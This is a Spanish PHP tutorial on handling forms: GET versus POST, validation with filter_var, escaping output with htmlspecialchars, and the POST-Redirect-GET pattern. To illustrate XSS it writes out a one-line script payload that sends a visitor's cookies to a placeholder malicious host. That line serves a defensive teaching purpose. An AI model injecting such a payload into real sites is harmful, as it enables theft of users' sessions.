Curso de PHP
Formularios en PHP: POST, GET y validación de datos
Por Víctor Peña · Publicado el
Hola, ¿cómo están? Este es el primero de cinco temas complementarios del curso de PHP: cosas que no estaban en el temario y que vas a necesitar en cuanto construyas algo real.
Empezamos por los formularios, que son la puerta de entrada de los datos a tu aplicación. Y por eso mismo, la principal puerta de entrada de los problemas.
¡Empecemos!
POST o GET: cuál usar
Un formulario envía datos al servidor por uno de dos métodos.
GET manda los datos en la URL:
buscar.php?termino=teclado&categoria=accesorios
- Los datos son visibles y quedan en el historial del navegador.
- Se puede compartir el enlace y guardar en favoritos.
- Tiene límite de longitud.
POST los manda en el cuerpo de la petición, sin aparecer en la URL.
- No hay límite práctico de tamaño.
- Permite subir archivos.
- No se puede compartir el enlace del resultado.
La regla es sencilla: GET para consultar, POST para modificar. Una búsqueda o un filtro van por GET. Un registro, un login o un borrado van por POST.
Las superglobales
PHP pone los datos recibidos en arrays disponibles desde cualquier parte:
<?php
$_GET // datos de la URL
$_POST // datos enviados por POST
$_REQUEST // ambos mezclados
$_FILES // archivos subidos
$_SERVER // información del servidor y la petición
Sobre $_REQUEST: evítalo. Al mezclar orígenes, no sabes de dónde vino cada dato, y eso complica razonar sobre la seguridad. Usa siempre el específico.
Un formulario básico
<form action="procesar.php" method="post">
<label for="nombre">Nombre</label>
<input type="text" id="nombre" name="nombre">
<label for="correo">Correo</label>
<input type="email" id="correo" name="correo">
<button type="submit">Enviar</button>
</form>
El atributo name es lo que importa: es la clave con la que llegará el dato a PHP.
Procesar los datos
<?php
declare(strict_types=1);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header('Location: formulario.php');
exit;
}
$nombre = trim($_POST['nombre'] ?? '');
$correo = trim($_POST['correo'] ?? '');
Tres cosas ya en estas líneas:
- Comprobar el método. Si alguien llega por GET, no hay nada que procesar.
?? ''por si el campo no llegó. Sin eso, tendrías un aviso de índice indefinido.trim()para quitar espacios sobrantes, que los usuarios dejan constantemente.
Recuerda: todo lo que llega es texto
Esto es fundamental y conecta con lo que vimos sobre comparación estricta:
<?php
var_dump($_POST['edad']); // string(2) "25"
var_dump($_POST['edad'] === 25); // false
Aunque el usuario escriba un número, llega como cadena. Conviértelo antes de operar:
<?php
$edad = (int) ($_POST['edad'] ?? 0);
$precio = (float) ($_POST['precio'] ?? 0);
Validar los datos
Validar es comprobar que el dato sirve. PHP trae filter_var() para los casos habituales:
<?php
$errores = [];
if ($nombre === '') {
$errores['nombre'] = 'El nombre es obligatorio';
} elseif (mb_strlen($nombre) < 3) {
$errores['nombre'] = 'El nombre es demasiado corto';
}
if (!filter_var($correo, FILTER_VALIDATE_EMAIL)) {
$errores['correo'] = 'El correo no es válido';
}
if ($errores === []) {
// guardar en la base de datos
}
Fíjate en que recogemos todos los errores en lugar de detenernos en el primero. Es lo que permite mostrarle al usuario todo lo que debe corregir de una vez, y es el motivo por el que aquí no usamos excepciones: la validación de formularios no es una situación excepcional, es el flujo normal.
Usa mb_strlen() y no strlen() cuando cuentes caracteres: con tildes y eñes, strlen() cuenta bytes y da números incorrectos.
Otros filtros útiles:
<?php
filter_var($url, FILTER_VALIDATE_URL);
filter_var($edad, FILTER_VALIDATE_INT, ['options' => ['min_range' => 18, 'max_range' => 120]]);
filter_var($precio, FILTER_VALIDATE_FLOAT);
Escapar la salida: htmlspecialchars
Aquí está el punto de seguridad más importante de esta lección.
Si muestras en pantalla algo que escribió un usuario sin escaparlo, permites un ataque llamado XSS. Imagina que alguien escribe esto en el campo nombre:
<script>document.location='http://sitio-malicioso.com?c='+document.cookie</script>
Si lo imprimes tal cual, ese script se ejecuta en el navegador de quien vea la página, y puede robar sesiones.
La solución es convertir los caracteres especiales en entidades HTML:
<?php
echo htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
Ahora el navegador muestra el texto en lugar de ejecutarlo.
La regla: escapa siempre al mostrar, nunca al guardar. Guarda el dato tal como llegó y escápalo en el momento de imprimirlo. Si lo escapas al guardar, terminas con datos deformados en la base de datos.
Conviene hacerse una función corta:
<?php
function e(?string $valor): string
{
return htmlspecialchars($valor ?? '', ENT_QUOTES, 'UTF-8');
}
echo "<p>Hola, " . e($nombre) . "</p>";
Conservar los datos al mostrar errores
Nada molesta más que un formulario que se vacía al fallar:
<input type="text" name="nombre" value="<?= e($_POST['nombre'] ?? '') ?>">
Ese <?= es la forma corta de <?php echo.
El patrón POST-Redirect-GET
Si procesas un POST y muestras el resultado directamente, cuando el usuario recargue la página el navegador le preguntará si quiere reenviar los datos. Y si dice que sí, se duplica el registro.
La solución es redirigir después de guardar:
<?php
if ($errores === []) {
$repositorio->guardar($nombre, $correo);
header('Location: exito.php');
exit; // importante: sin esto, el código sigue ejecutándose
}
Ese exit después del header() no es opcional. header() solo programa la redirección; el resto del script se seguiría ejecutando.
Un ejemplo completo
<?php
declare(strict_types=1);
function e(?string $v): string
{
return htmlspecialchars($v ?? '', ENT_QUOTES, 'UTF-8');
}
$errores = [];
$enviado = $_SERVER['REQUEST_METHOD'] === 'POST';
if ($enviado) {
$nombre = trim($_POST['nombre'] ?? '');
$correo = trim($_POST['correo'] ?? '');
$edad = (int) ($_POST['edad'] ?? 0);
if ($nombre === '') {
$errores['nombre'] = 'El nombre es obligatorio';
}
if (!filter_var($correo, FILTER_VALIDATE_EMAIL)) {
$errores['correo'] = 'Correo no válido';
}
if ($edad < 18) {
$errores['edad'] = 'Debes ser mayor de edad';
}
if ($errores === []) {
// guardar con PDO y consulta preparada
header('Location: gracias.php');
exit;
}
}
?>
<form method="post">
<input type="text" name="nombre" value="<?= e($_POST['nombre'] ?? '') ?>">
<?php if (isset($errores['nombre'])): ?>
<span class="error"><?= e($errores['nombre']) ?></span>
<?php endif; ?>
<input type="email" name="correo" value="<?= e($_POST['correo'] ?? '') ?>">
<?php if (isset($errores['correo'])): ?>
<span class="error"><?= e($errores['correo']) ?></span>
<?php endif; ?>
<button type="submit">Enviar</button>
</form>
Aquí aparece la sintaxis alternativa con endif que vimos en condicionales: dentro de HTML se lee muchísimo mejor que las llaves.
La validación del navegador no cuenta
Los atributos required, type="email" y pattern mejoran la experiencia, pero cualquiera puede saltárselos: basta con enviar la petición desde otra herramienta.
Toda validación del navegador debe repetirse en el servidor. La del cliente es comodidad; la del servidor es seguridad.
Errores comunes
- Confiar en la validación del navegador.
- No escapar la salida, dejando la puerta abierta al XSS.
- Usar
$_REQUESTen lugar del método específico. - Olvidar
exitdespués deheader(). - Concatenar datos del formulario en una consulta SQL, en vez de usar consultas preparadas.
Para cerrar
Los formularios son el punto donde entra todo lo que no controlas. Las tres reglas que valen para siempre: valida en el servidor, escapa al mostrar y usa parámetros en las consultas.
En el siguiente artículo veremos sesiones y cookies, que es cómo tu aplicación recuerda al usuario entre una página y otra.
Saludos y éxitos.
Norvic Software
Desarrollamos el software que tu empresa necesita
Somos una fábrica de software en Bolivia. Construimos sistemas a medida y aplicaciones móviles, y llevamos Inteligencia Artificial a las empresas que ya tienen un sistema funcionando.
- Chatbots con Inteligencia Artificial
- Creación de agentes de IA
- Integración de IA en tus sistemas
- Desarrollo de software a medida
- Aplicaciones móviles iOS y Android
- Consultoría y asesoramiento técnico
Cotización sin costo · Respuesta directa por WhatsApp